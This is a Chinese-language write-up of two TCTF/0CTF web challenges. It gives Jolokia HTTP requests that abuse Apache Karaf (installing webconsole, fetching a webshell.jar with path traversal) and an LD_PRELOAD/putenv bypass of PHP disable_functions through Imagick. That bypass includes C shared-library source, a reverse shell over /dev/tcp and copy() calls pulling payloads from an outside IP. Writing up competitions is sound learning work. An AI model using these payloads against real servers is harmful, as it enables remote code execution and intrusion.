上周末抽空佛系打了一下 TCTF/0CTF ,跟马师傅一起做了 web1 ,web 2 没来得及看就关闭了。这里就记录一下。
Web1 Ghost Pepper
Description
Do you know ghost pepper? Let’s eat. http://111.186.63.207:31337
Hacking
由于环境关掉了,这里就不放图了。说一下几个解法。
首先通过弱口令 karaf/karaf 进行认证,进入发现是 jetty 的中间件,然后思路一直走偏在这个中间件上,直到有师傅跟我说 ghost pepper 指的是 Jolokia…nb…
然后又参考了几篇腾讯云鼎的相关文章:
Exploiting Jolokia Agent with Java EE Servers
尝试了 JNDI 注入,发现 proxymode 没开,所以得另想法子,在/jolokia/list
我们发现了一些库,最终目标聚集到了 karaf 上。
第一种解法是通过激活 webconsole 这个 karaf 的 feature ,进入 webconsole ,这是一个类似 Tomcat Manager 后台的一个东西,进入之后可以上传 bundle ,并且勾选自动 refresh bundle ,就相当于上传了一个 webshell 一样,直接连就好了,关于 bunlde 的构建留到下面讲吧。还有就是进去 Main/gogo 的选项,就可以拿到 karaf 内置的一个 shell ,具体命令可以参考 Shell console basics,通过shell:cat /flag
激活 webconsole 的 payload 如下
POST /jolokia HTTP/1.1
Host: 111.186.63.207:31337
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Content-Type: application/json
Content-Length: 146
Authorization: Basic a2FyYWY6a2FyYWY=
Connection: close
Upgrade-Insecure-Requests: 1
{
"type":"EXEC",
"mbean":"org.apache.karaf:name=root,type=feature",
"operation": "installFeature(java.lang.String)",
"arguments":["webconsole"]
}
还有其他的就是通过好几个/list
中的install
方法来实现。比如karaf.config
或者karaf.bundle
的方法都可以,具体方法的实现直接去下一个 karaf 源码来看看就知道了。
{
"type":"EXEC"
"mbean":"org.apache.karaf:name=root,type=config",
"operation":"install",
"arguments":["http://ip:port/webshell.jar","../../../../../opt/opendaylight-0.9.2/deploy/webshell.jar",false]
}
这里karaf.config
是个 0day…可以写任意文件
这里利用的难点就是如何构造一个 bundle 文件了…从来都不知道还有这种文件…而且是个.jar
文件,而且这个东西的触发点在start
函数,非main
函数…可以按照马师傅的这个仓库来构建:osgi-bundle-backdoor
Web2 Wallbreaker Easy
Description
http://111.186.63.208:31340
打开地址可以发现有更多的描述
Imagick is a awesome library for hackers to break
disable_functions
.So I installed php-imagick in the server, opened a
backdoor
for you. Let’s try to execute/readflag
to get the flag. Open basedir: /var/www/html:/tmp/7833d7f27adcba46bdfd6c9c31c89904 Hint: eval($_POST[“backdoor”]);
The first way to Hack
一看题目意图也比较明显,需要我们利用Imagick
这个模块去进行 rce
我们先直接看看phpinfo()
,发现果然是能执行命令的基本都被 disable 掉了
我们还可以调用readfile()
来查看题目源代码
<?php
$dir = "/tmp/" . md5("$_SERVER[REMOTE_ADDR]");
mkdir($dir);
ini_set('open_basedir', '/var/www/html:' . $dir);
?>
<!DOCTYPE html><html><head><style>.pre {word-break: break-all;max-width: 500px;white-space: pre-wrap;}</style></head><body>
<pre class="pre"><code>Imagick is a awesome library for hackers to break `disable_functions`.
So I installed php-imagick in the server, opened a `backdoor` for you.
Let's try to execute `/readflag` to get the flag.
Open basedir: <?php echo ini_get('open_basedir');?>
<?php eval($_POST["backdoor"]);?>
Hint: eval($_POST["backdoor"]);
</code></pre></body>
Hint: eval($_POST["backdoor"]);
</code></pre></body>
首先我们来了解一下题目涉及的几个函数
open_basedir
{% colorquote info %}
open_basedir 将 php 所能打开的文件限制在指定的目录树中,包括文件本身。当程序要使用例如fopen()
或file_get_contents()
打开一个文件时,这个文件的位置将会被检查。当文件在指定的目录树之外,程序将拒绝打开。
{% endcolorquote %}
例如就像这样,设置了ini_set('open_basedir','/var/www/html');
之后,我们只能在/var/www/html
进行操作,即open_basedir
是用来限制访问目录的
Bypass Open_Basedir
详细可参考How to bypass disable_functions and open_basedir,文章中就提到可以使用LD_PRELOAD
和putenv()
函数进行绕过
LD_PRELOAD
我们首先来看看什么是LD_PRELOAD
{% colorquote info %}
LD_PRELOAD is an optional environmental variable containing one or more paths to shared libraries, or shared objects, that the loader will load before any other shared library including the C runtime library (libc.so) This is called preloading a library.
{% endcolorquote %}
简单来说,LD_PRELOAD
这个环境变量指定路径的文件,会在其他文件被调用前,最先被调用。
{% colorquote info %}
putenv ( string $setting
) : bool
添加 setting
到服务器环境变量。 环境变量仅存活于当前请求期间。 在请求结束时环境会恢复到初始状态。
{% endcolorquote %}
而putenv()
可以设置环境换变量,添加我们定义的变量到服务器环境变量。
那么我们大概可以有一个思路,制作一个恶意的.so
文件,使用putenv()
设置LD_PRELOAD
为恶意文件路径,然后使用某个php函数,触发这个.so
文件,执行我们的恶意代码。
具体的攻击链可以参考:LD_PRELOAD的偷梁换柱之能
劫持攻击
参考的绕过文章使用了mail()
函数,我们可以看看
这里确实开启了子进程,那我们再试试引入putenv()
的效果,配合动态链接库尝试劫持,代码来自Chankro
其中__attribute__ ((__constructor__))
有如下说明
1.It's run when a shared library is loaded, typically during program startup.
2.That's how all GCC attributes are; presumably to distinguish them from function calls.
3.The destructor is run when the shared library is unloaded, typically at program exit.
所以当我们使用上我们的动态链接库后,就会触发__attribute__ ((__constructor__))
,从而达成我们rce的目的。
#define _GNU_SOURCE
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <signal.h>
#include <unistd.h>
void pwn(void) {
system("ls");
system("echo hacked");
}
void daemonize(void) {
signal(SIGHUP, SIG_IGN);
if (fork() != 0) {
exit(EXIT_SUCCESS);
}
}
__attribute__ ((__constructor__)) void preloadme(void) {
unsetenv("LD_PRELOAD");
daemonize();
pwn();
}
使用以下命令产生动态链接库
gcc hack.c -fPIC -shared -o hack.so
php 文件中代码为
<?php
putenv("LD_PRELOAD=./hack.so");
mail('','','','');
?>
可以看到已经执行了ls
命令并成功输出了hacked
,使用strace
看看我们可以发现执行顺序。
当然还有另一种劫持,直接选择一个函数进行劫持,例如我们通过strace php test.php
发现调用了geteuid()
以及getpid()
函数,我们可以在hack.c
中这么写
#define _GNU_SOURCE
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <signal.h>
void pwn(void) {
system("ls");
system("echo hacked!");
}
void getpid(){
unsetenv("LD_PRELOAD");
pwn();
}
这样也可以完成劫持
GetFlag
所以我们需要找到一个可以启动子进程的函数,以实现我们劫持函数做到 RCE 的目的,然后这里我本地调通了但是远程不知道怎么没打通…
这里我直接用new
了一个.jpg
也可以调用子进程,但是服务器却没有触发…
然后最好还是按照飘零师傅的深入浅出LD_PRELOAD & putenv()用wmv
进行了 hook ,最后成功 RCE。
这里的原理就是因为Imagick
在处理wmv
格式的文件会起一个子进程来处理,所以就达到了我们的目的。还有很多格式的文件都可以,可以参考 ctftime 上该题的其他 wp。
#define _GNU_SOURCE
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <signal.h>
#include <unistd.h>
void pwn(void) {
system("bash -c \"sh >& /dev/tcp/your_ip/port 0>&1\" ");
}
void daemonize(void) {
signal(SIGHUP, SIG_IGN);
if (fork() != 0) {
exit(EXIT_SUCCESS);
}
}
__attribute__ ((__constructor__)) void preloadme(void) {
unsetenv("LD_PRELOAD");
daemonize();
pwn();
}
至于怎么传文件到服务器上,有很多种方法,比如file_put_contents()
,也可以用如下的方式
copy("http://106.14.153.173:8080/hack.wmv", "/tmp/3b1412753f475cc969c37231dd6eaea2/hack.wmv");
copy("http://106.14.153.173:8080/hack.so", "/tmp/3b1412753f475cc969c37231dd6eaea2/hack.so");
The other way
也可以利用error_log这个方法,这个方法也开启了子进程调用了sendmail
方法。按照之前的思路进行就可以了
参考
无需sendmail:巧用LD_PRELOAD突破disable_functions
The second way to Hack
这里也主要是用了
<delegate decode="bpg" command=""@BPGDecodeDelegate@" -b 16 -o "%o.png" "%i"; @MVDelegate@ "%o.png" "%o""/>
//"@BPGDecodeDelegate@" -b 16 -o "%o.png" "%i"; @MVDelegate@ "%o.png" "%o"
这里参考了其他师傅的 wp ,主要是利用了@BPGDecodeDelegate
对于后缀.bpg
的解析,它会去 PATH 中寻找相关的bpgenc
文件
所以我们只需要设置一个恶意的 PATH ,并在这个文件夹下放入我们的可执行文件。
只要找到函数要执行的文件我们就可以进行操作了。例如下面用了Imagick->readImage()
的方法
Conclusion
这次比赛还是玩的比较有收获的,至少给我打发了周末等面试结果的煎熬时光2333…第一题自己想法是通过 karaf.shell 去做,然而并没有找到突破点,还是跟另一个师傅弄了 karaf.config 的 install 方法去做的。菜还是菜,并没有去发掘文档深入的点。第二题在比赛中因为没什么时间了,就没怎么去看了。赛后复现觉得自己对 php 底层了解的很少,打算这段时间可以去往这方面发掘一下。也还有关于第二题解法二的发掘点还存在一定的疑惑,可能就是从 fuzz bpg 格式开始寻找到的突破点吧。还看到了另一个关于题二的解法,等会还可以研究下一下。